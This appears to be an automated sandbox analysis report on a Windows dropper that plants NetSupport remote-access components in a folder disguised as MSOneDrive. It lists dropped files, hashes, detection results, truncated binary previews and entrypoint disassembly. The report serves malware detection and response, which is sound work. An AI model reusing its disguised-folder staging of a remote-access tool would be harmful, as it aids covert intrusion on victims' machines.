Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V.\|...\|...\|....N..\|.......\|.......\|...\|...\|.......\|.......\|.......\|...."..\|.......\|..Rich.\|..................PE..L...E.}4...........!................p........ ...............................`............@A................................t0.......@.......................P..,...0...T............................................0..p............................text............................... ..`.data...P.... ......................@....idata..(....0......................@..@.rsrc........@......................@..@.reloc..,....P....... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\ir50_32.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	4.813302544949798
Encrypted:	false
SSDEEP:	192:AQ4SQSd9hCFA+QABxo6tQABrEczxmWQRWS:cxSDhCe+QABxo6BxmWQRW
MD5:	A5AF6933A1EE4FCF41EE5EC75879B479
SHA1:	BE65C18CCDB50CF622D3A8585B5899DDDCD75531
SHA-256:	E83861E331E90F2A41CD749E33614FB61595C1B9E29D9808B8DD68CC38968C47
SHA-512:	CB6A257EBC10A193E9C75191E2F009C53054CF985ED04A9F3A75D21D9EFD709C015BC80A217740164ED978FD31FDF5DCA44C9E5D4287AE40791990E165BA839B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\B.=,..=,..=,..E...=,..V/..=,..V(..=,..=-..=,..V-..=,..V,..=,..V%..=,..V..=,..V...=,.Rich.=,.........PE..L..................!.........................0...............................p.......5....@A........................@.......x@.......P.......................`..l.......T............................................@..t............................text............................... ..`.data...p....0......................@....idata..>....@......................@..@.rsrc........P......................@..@.reloc..l....`......."..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\msvcp140_codecvt_ids.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18832
Entropy (8bit):	6.4434700117269585
Encrypted:	false
SSDEEP:	384:tKDL6r3uJBAjEOTWikEWEZ1e14gHRN7NslXFTnh:Aa3urdT8GNmt
MD5:	0AB5BACD140CB2A1014A2EF49E56A770
SHA1:	CE60ADF0EF64B3C0B69F4EC69A7BEA855E448D57
SHA-256:	DE699589DB52A7E952B3F2DF186E346B1A68E7AD9F6DC38C390D4A1CEB99FEAC
SHA-512:	025B5301320000DCB09EECB4D0B20CC0F991121A4CCC911A88BDE4D83387FC995A84FE7B7E88907A38AEFA9B35B67C29390220743DC193CD938C45D6F798B390
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........mm[............v~.......t..............uz......uz......uz......uz......uz......uz......uz......Rich............PE..L....L.`.........."!.........................0...............................p............@A........................0"../...p@..P....P..0............&...#...`..L...D...8...............................@............@..h............................text..._........................... ..`.data........0......................@....idata..x....@......................@..@.rsrc...0....P......................@..@.reloc..L....`.......$..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\msvcr100.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\msvcr100_clr0400.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18920
Entropy (8bit):	7.192716546151935
Encrypted:	false
SSDEEP:	384:iWyH/WgRCQpBj0HRN7da7YQHRN7MWk9flxIphg:c+qWdiY8M/AO
MD5:	39DB58D4965874979F0D45FBB96CA675
SHA1:	AFFFBD2B3DF2D14C19D5E675326658AB6DA9C3CB
SHA-256:	0EC970064D98B5825D78E5CC5CDA6919CE88DAD1D121E8E556872B815A84A497
SHA-512:	34CEEE6503BDF83989AF8F7CC15C513455D13BD1495748B339BC165556116F7B54AA6FBF4505B93E721056B02EF1F8B914EDE91928CDAE4B77866927190D62B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u.<.1.R.1.R.1.R....0.R...P.0.R.Rich1.R.........PE..L....<.].........."!.........................................................0......<.....@.......................................... ...................A...........................................................................................text...p...........................@..@.rsrc........ ......................@..@.............<.]........T........................rdata......T....rdata$zzzdbg.... ..`....rsrc$01....` .......rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\nskbfltr.inf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Local\MSOneDrive\nsm_vpro.ini

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\Users\user\AppData\Local\MSOneDrive\pcicapi.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	45112
Entropy (8bit):	6.86518195777479
Encrypted:	false
SSDEEP:	768:3o6OZSOe0iI6IdE+OPCH4mf6u0Qn+6wwbiRGp9E+yhwBkbp9E+8iROr:3o6mSOqIqPCYmfRnlwwbioQ+yhwBkbQ1
MD5:	9DAA86D91A18131D5CAF49D14FB8B6F2
SHA1:	6B2F7CEB6157909E114A2B05A48A1A2606B5CAF1
SHA-256:	1716640CCE74322F7EE3E3E02B75CD53B91686F66E389D606DAB01BD9F88C557
SHA-512:	9A98E0D9E2DDA8AEFA54BDDB3C7B71501D638DFF68863939DE6CAA117B0E7BF15E581A75419EF8A0DA3F1C56A19F1B0F4C86D65F8581773AB88FF5764B9BB3AA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\MSOneDrive\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........~....Z...Z...Z...Z...Z...Z...Z...Z...Z...Z..Z...Z...Z...Z...Z...Z...Z...Z...Z...Z...Z...Z...ZRich...Z................PE..L......^...........!.....6...........@.......P............................................@.........................`c.......[..d.......x............d..8L..........pQ...............................Z..@............P..X............................text...~5.......6.................. ..`.rdata.._....P.......:..............@..@.data....r...p.......P..............@....rsrc...x............R..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\remcmdstub.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	69744
Entropy (8bit):	6.597732994360204
Encrypted:	false
SSDEEP:	1536:rfanvXuNOwphKuyUHTqYXHhrXH4xLIygAormAWXiJ:LanPSpAFUzt0xLIygtgk
MD5:	A67623B4D8C86858115BEE9278B7A742
SHA1:	58BF04265A09EC5E3483CCBC459241C67E928FC7
SHA-256:	B0177CFB8F4D5DFB5C3EC3181CDDABA157771921C1F26C17AED736A605153A0B
SHA-512:	BA1F1FBCB32349DB90C90FF28DB5F7B74452A0629882531222383A5A4ADBF62C31B181B49729C0A1CD971F0C39C6EC33CFE4912C25FBA7430437C7D6F71A9056
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.V#...#...#...L...2...*.r.&...#...t...L.K.u...L.J.>...L.{."...L.\|."...Rich#...........PE..L......^.....................J.......!............@.......................... ......9?....@....................................<.......T...............p@..............................................@...............@............................text.............................. ..`.rdata..,%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\wfapigp.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.4541836410295055
Encrypted:	false
SSDEEP:	384:pYTd+1A0ELfG1rS9pjsj3CMC901pvW4vWaO:pG+eaA9pjwClIpDu
MD5:	FD9AFC7DD89A1D07E0CB0F446AD6276F
SHA1:	C62574724F42FEA392D787E0D43FD7C6EE0D29AF
SHA-256:	23FDD21121E75766DB8CA077494C4E74F24EB38A19796739BD0CD39584AF2208
SHA-512:	FD968E3E4771D0F5B80734D58A1DD858703CF0400607A03493423E8C84A0DC0A6FC687D4B5F526F257C6714955374BB96EFCF0DB0D7D95AF6A2A48A3D0B9E06A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z.."Z...Z..[...Z..[...Z..[...Z...Z...Z..[...Z..[...Z..NZ...Z..[...ZRich...Z........................PE..L...I{~{...........!.....0..........@........@.......................................#....@A.........................?..4....P..,....p.. ...............................T............................................P......<<.......................text...4/.......0.................. ..`.data........@.......4..............@....idata..b....P.......6..............@..@.didat..`....`.......>..............@....rsrc... ....p.......@..............@..@.reloc...............F..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\wiatrace.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.677098248633158
Encrypted:	false
SSDEEP:	384:H3wSrclXZn246VWwmKlBKjijHL9h8vWL/W5O:/OXVi3jHLkw
MD5:	3F3AFCDA1212C70FE1DB3DA109B59BE5
SHA1:	E62D28FCC1775B7E26A18B0B5F193C1E6D4B945A
SHA-256:	FEAAADFE81E72FF9E929893219948A0CD9209681D217B341C3ACCC39870B3491
SHA-512:	1B542EC59D4E46D2A6DD78DD854027DE82C1F145BA69D4E1416AE37F49A038D61217C8F62403615FA54FD56FD9A585035B74C2BDF8DE0761880ABEDD71422EF7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............l...l...l...h...l...o...l...m...l...m...l...l...l...b...l.......l...n...l.Rich..l.........PE..L...).F............!................#.......@......................................J.....@A.........................8..?....P..<....`.......................p..P.......T............................................P...............................text...?)......................... ..`.data...`....@......................@....idata.......P.......0..............@..@.rsrc........`.......4..............@..@.reloc..P....p.......8..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\winrsmgr.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	3.0070663606830066
Encrypted:	false
SSDEEP:	24:eH1GS+mCdVQM82IZW0HGbNuZbpa135WWdPPYPNy:yc8MFIZWUGhuZ9at5WwHg
MD5:	55502E7D2D056327139999DD9F3E77B6
SHA1:	B45C98C03830800181C67168FBCB44249EFC1D26
SHA-256:	FAA0C0634EB64A22EA8587E82C5F6EBDDFF4DD773483DC3712073323D78A45AD
SHA-512:	2BD0AAF627A08FEC1CD7F587C11E25CEC20CD4A166C94DBC5697C31083D79D3E443AA9E8755EB0AE9BC91620543CAA4E8EC1425B9DD8429712556CFF41B28A99
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5.<.q.R.q.R.q.R.e...p.R.e.P.p.R.Richq.R.................PE..L....J.............!.........................................................0............@.......................................... ..................................8............................................................................text...............................@..@.rsrc........ ......................@..@.....J..........T...8...8........J..........$...................8....rdata..8...x....rdata$zzzdbg.... ..`....rsrc$01....` .......rsrc$02.... ...........r..&..0.9Kz?.B..V.N.J..........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\winrssrv.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.907269785124234
Encrypted:	false
SSDEEP:	192:YlhOulH3yBNi+ckYazlA0rvh/CV1rZgWDdIaUWr:YlhOiyBNi+ckYavrvqZgWyvW
MD5:	625DF63352C6610780AB954A69544B6A
SHA1:	FD140F2E912367F0A53587A799ECE2BC01A920DE
SHA-256:	D8ECEA519099F72843B0956C20C128B7948FF84311825DF4C9D8128B13584442
SHA-512:	BDEA8F069C6AADEFD2902646AFB427CF19884255684B74F3EDBFA7204E45D281A530A1F4E5095B57B20624FCD7526730400B7C153EB90CC9AA3E897DFE974783
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.....~...~...~.......~...}...~...z...~.....8.~.......~...~...~...v...~.......~...\|...~.Rich..~.........PE..L...Pls............!................0........0...............................p......l=....@A.........................#.......@.......P.......................`..........T............................................@...............................text............................... ..`.data...`....0......................@....idata.......@......................@..@.rsrc........P.......$..............@..@.reloc.......`.......(..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\sdn4[1].zip

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	464977
Entropy (8bit):	7.997745436579964
Encrypted:	true
SSDEEP:	12288:NlyAQnPyLZdddjqMiKuuK7WHAieWY90YxVr0BgaLSr4:NlyAQPyLZ5FvFHj60Ywp
MD5:	849FFB0BB62A239066991E788BE7DDDC
SHA1:	E875D54129B3A97ADFDA8AFC21B01A125A8CFB62
SHA-256:	711F04FF06929EA36A69EAFB00B2C0EC18D0006587D54D87287DE25E34E3E8BA
SHA-512:	210E1FF3280FC63FF635D295C6563C2246B5E9B2DD15DC44AAF5BFF5DBD62E146E221FB842360B446AF15C94A07FA5348E239DA9897E227578D0423FFA449B10
Malicious:	false
Preview:	PK..........6.......H.......nskbfltr.infU..j.0.......=...v9.......a...r+.. ..}..i...AH..OZ.......9#.:%..l..{..........]0d1.!*k..3B...b5....=9.A.)~........S..Xf....c..]eR...H#.u.{...<.....@..Z......b.-_.m.i...A...FG.rq.X..Q....&.5g..zV\|..I6......PK........OW.V..#..R..8.......pcicapi.dll..XSI.(~R...D.EE...x.. ........".......B..c.u. .u]uu...`...v]W.X....?3'@P...{.{......g...;.m.3.A..1..aT..z.+....... Y.8`..5?...x.g.49..).H.......3...L..JNg...e.e$H.---..p\{0.\|I.3.95}X.....F.........}.ET...7}8.......=.....3....../.x..],.@.....cLs.}......Aa...-..`....Dy2..`D{..c....?..^$..a.o.5!....oGaX...#aSM[.B.....d...e.c.=....d...K.gxG.d...g...9..o.c.2.e.q.8...1.#Hn.Ph\/G..;$..f"..ye.W.(....s.s.h....\|2Ij..\G..d@.X.7p>.......sM.-\.`Fhf./...H...`)..v..cr/'...b..DW..?......n)L..Q.........)........_j......z.s...Ny... ...Iw.c...}(.......@...f93q=&7....c...(.pp...T....3.9'.F..(..@....hD4U9CU....Rh.ZU...^..@....S...)..5.B.u..4.k.'..&..j....!..h...0..V.....D.....2....d...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\loca[1].htm

Download File

Process:	C:\Users\user\AppData\Local\MSOneDrive\client32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.077819531114783
Encrypted:	false
SSDEEP:	3:llD:b
MD5:	C40449C13038365A3E45AB4D7F3C2F3E
SHA1:	CB0FC03A15D4DBCE7BA0A8C0A809D70F0BE6EB9B
SHA-256:	1A6B256A325EEE54C2A97F82263A35A9EC9BA4AF5D85CC03E791471FC3348073
SHA-512:	3F203E94B7668695F1B7A82BE01F43D082A8A5EB030FC296E0743027C78EAB96774AB8D3732AFE45A655585688FB9B60ED355AEE4A51A2379C545D9440DC974C
Malicious:	false
Preview:	40.7357,-74.1724

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\sdn1[1].zip

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1541147
Entropy (8bit):	7.996769493099852
Encrypted:	true
SSDEEP:	24576:+T710QcNQDZDMUsCs+2tRqmwRVMMje5XTc13JYbU1uPLA+lvzG9Z0:aJ0QcNQDZDutRqLIVgJn1ujRlvzOZ0
MD5:	CD84EC7208E1595BCF2789B6B4E8C3DA
SHA1:	B657125B41CF35CC7F7AD17A3C7CB3935B4407DF
SHA-256:	F5A1C380A403074A8A66CE97E2DAEDC5C930772810A5D70502AD40904BB32101
SHA-512:	3A6D71A98093DFB41A35AB968B13D2F728ABF732A1EC826436C41EBE0F6A6DFBDF6652B63928A3F9EF533EC27961DAB4F09035DA7A4A593E84B7A4CEC41A06A0
Malicious:	false
Preview:	PK.........-.V................NSM.lic-..N.0.....y.X.v..r...vY..i.....DN6...a......Rr&'...q.g..5..1.HE.x..A<...u...d..DD..wm+.....Yh.Z.........~......\.B1......0%Og.G.?A..e.....0..m..9..r.'.F.Z....,Q<.].e.2..a.h....f.f.<~.?dS5(d1..+..PK........R..X...g.?..P.4.....PCICL32.DLL...xT..8...$.``&0..AS.m4..........3.f..$.U:.Z.0....L.a3H[@}k.T..V.".EH....... .hi{0...B......9sI........../03......^k..v.N0..`..................6\.:.._..../...sQ......~;.._}......p...y.\|4o..o..o.6lH...G.}c....j....._.w..\|.S..Q..G...aj...}....=Gy.G...}...)<..QJ..Go.....D.?T......_.7...r..F.].f......UZ.iA....!.p~. ........<Xr.5.....!..=.+<x.u.'.w`..2a../.).+....H....Z...});Q..O....@.......r..4..1\|..5Z0\|\.B=. ......wK..A.....B.Vcj.<h.-...j.`}....~/.NN.......1.P...eKn.t...Y......B`..t~.".W.>L.-\..=2 ].-..-.. .>.......JoY..#..k..O.\..x{.tS.....n/.(\/....]06..y9Y...%...^..51..*E.K....US..(.........0..yD'+.]n.....1....K.o..[...<&'...Uqc]vp.......%.^.W...+.gTj....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\sdn3[1].zip

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	81710
Entropy (8bit):	7.993374875389942
Encrypted:	true
SSDEEP:	1536:QZ3ky6aDZbnUYbkKI0fGCplVgt0s+WpT4RhFccEyWI9UuTqFsYBGtpZx93:w3ky6aDZbbbACpl6t0s+WKhScEXI9Uul
MD5:	E6ADABCEEAA1E96EB983291AC41812D3
SHA1:	139A8F2A679FFBCD313EB0C05B5DEB4B6B6622B0
SHA-256:	4812B9D2681BC7F1A47ECE99760066C1BBD40F3CB6E1331D04D448B4227DFE9F
SHA-512:	89A0124583A69613070AF16089B0E20B3683E2FE1EA6ADEF107D0987CBECE278AEF332432A8A2F4F5F409DB35C01CD0246D3A091849AD990D17A057061F066B5
Malicious:	false
Preview:	PK........{..S.V...,...P......WerEnc.dll.\|.\SI.....)Q.Q.#.b.o.. .D...D...B..)....".k...ew.......b.=(***.7s...~./.....7....9g.9...........@.Y....(..............U....!.d.-K..$.M...fdd.iq\|.P.AK.y.qi..\|k..-s..g..C..u.w.,....Lw.}..../.q...h..."./).RGEG~1./_=W..p...x...-3..@.A.<[hi..k.fC..t.. .......3.7.x.......T.O.....oP.]....H..a....\..,..i..J3X.@<.......:. .m...o.?....s.\5P%. ....r.uB.8...HHh.)...Uc..$.QS9....7tn.B.0....Q.....?-3^9w...w.wt....?5.a.*....P....9..]......'2.[.....nJ~-p%i...@....T9^.!......#.=v...1.1..\|.2.^.-..!.,.vQl.H.x....._.W.s7..e1.....V<........$..2A..C.....x..a... ^...H..8...9......q................9....rO..FH@..T....3.k\._. .%W.b7.i?f:j...O...........{.J,n.R...x..a@:i^....{..>...U.6..U..../1.vR....uN.j._.]^....O..n7\f..!e.O.x.`.2nE..0!.Mk{.2......v}.`:..D....O/]z.}_.......d.N?>f\...KQ..EY...Ah.)k.y...;/7...r..t...(.".5.q.(W...<......T...../..=.{\|i...I..;UE....u.s.1..B..%..!z].........G/....a...DF.r{..N..g)._W.4......7...8

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\sdn2[1].zip

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	227999
Entropy (8bit):	7.9973837864428
Encrypted:	true
SSDEEP:	6144:NPbV5TsiY8dBZcVZ3nmeXlxpiryWyxGZBk7KOI:NxYCBiPXmeX/piuLgSKOI
MD5:	E80B9765381CE98E5004EE82FA515E14
SHA1:	008536F83B92FB794B8D325B243A0E00953E43B3
SHA-256:	87D5716606A50D61DC26C26C1A9F84E78D2A0772C9314BE9962F1778E056C405
SHA-512:	B54BD712F42F9FC776CC7B807DAB686A2882FABBE3FD8D183B1F4C85CEF165CD0906C45239B7EE4AC3FA1BCD3B781F82064AA8BE36867620981387EAC4A45206
Malicious:	false
Preview:	PK.........C.RJ..].(...I......msvcp140_codecvt_ids.dll.z.\S...M.. ...H.T.M.....H.A.C.$..........+...V.6$..XQWe.U........7s..u}.....{.{...7.9s..9..L...DH...A.J...".<....A.0:...U>7..a..a\.....'.X.46+-....94.(..K.....R...kuu.S9.;..S7....S....fP...6.8..!P.r...RQ../...x..../Ir.OIV.p8...B..2.1.d......~z?..1..J.0Dt.@....(.R.:.A.@...J.K.)oa9....w...J9.c..!.r.. \..#.P.H..4..t(....N...<.7k......8Y.(.............,...5$(.l...\|3..'#."..8.a..yX...6".k.\q..F.I.esG...5.........W.#..J... .2...".6..M....[<H..@. ..6u..... ...t....t...Z..n...L...T\|X...g\|>Z2..~)...d.A..1`..^.%3.......:.L...A....H..r@...k..l....T.........l. `k.#...S.....J~.mc."..#.=1/...8.9...c.2...1..aLL</.%.q.1Y..........}LL.0..N....Sfg`q...5l.NO..(Uf...!a.S.=!..5......tj_.p:.W. .N.k.N..........-_o\..I.@z...."..2..%...,X......3.)Xj.\|..%~....$.'..A..c..y...........dtY....'...8.../...A\.X.JH..i.........l...i..............6.Cd.!..E.I..4........9...._...q..2.....1.d.....(....\..3...../.*.U#.."%...XU..#.=b..!g.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.461600459380226
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File size:	140'800 bytes
MD5:	aace5ed77f7d47cad3e45e0ccdc5411c
SHA1:	cb9c403e8ba1a5531543d6c3b46250065b7f49c0
SHA256:	a179d25f0ca4b9f6b7b1b7b4376664e422a6341650f80ba58626881638b64d50
SHA512:	a73b05d441f2815db2cfdecb00e7df1574d510a28b73e15c365bd94ecb70cebc2ab624783a14874a64da27caa308d58c710ef8c09b96ebf36c04459dd7899874
SSDEEP:	3072:IAthOjYt6ktOt/nYUHal/5+LeLEsSkRqneaNn2qSzAuK2raS:dthOjYt6ktCYUHal/hwhkReeunZceS
TLSH:	81D36C16B9C0D133E8B71931197497B2AE3DFC301B545DCB63980A7A6F306D0AB35A6B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\]...<h..<h..<h.SDk..<h.SDm..<h.SDl..<h...m.2<h...l..<h...k..<h.SDi..<h..<i.i<h.r.a..<h.r....<h.r.j..<h.Rich.<h................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4073fa
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6561BDA3 [Sat Nov 25 09:25:55 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	35ca174cb7a0dd69ac56ae5f0ce996e5

Entrypoint Preview

Instruction
call 00007FDE5C6BE204h
jmp 00007FDE5C6BDCBFh
jmp 00007FDE5C6C2F67h
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FDE5C6BDE9Dh
mov dword ptr [esi], 0041921Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00419224h
mov dword ptr [ecx], 0041921Ch
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FDE5C6BDE6Ah
mov dword ptr [esi], 00419238h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00419240h
mov dword ptr [ecx], 00419238h
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 004191FCh
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007FDE5C6BF051h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 004191FCh
push eax
call 00007FDE5C6BF09Ch
pop ecx
ret
push ebp
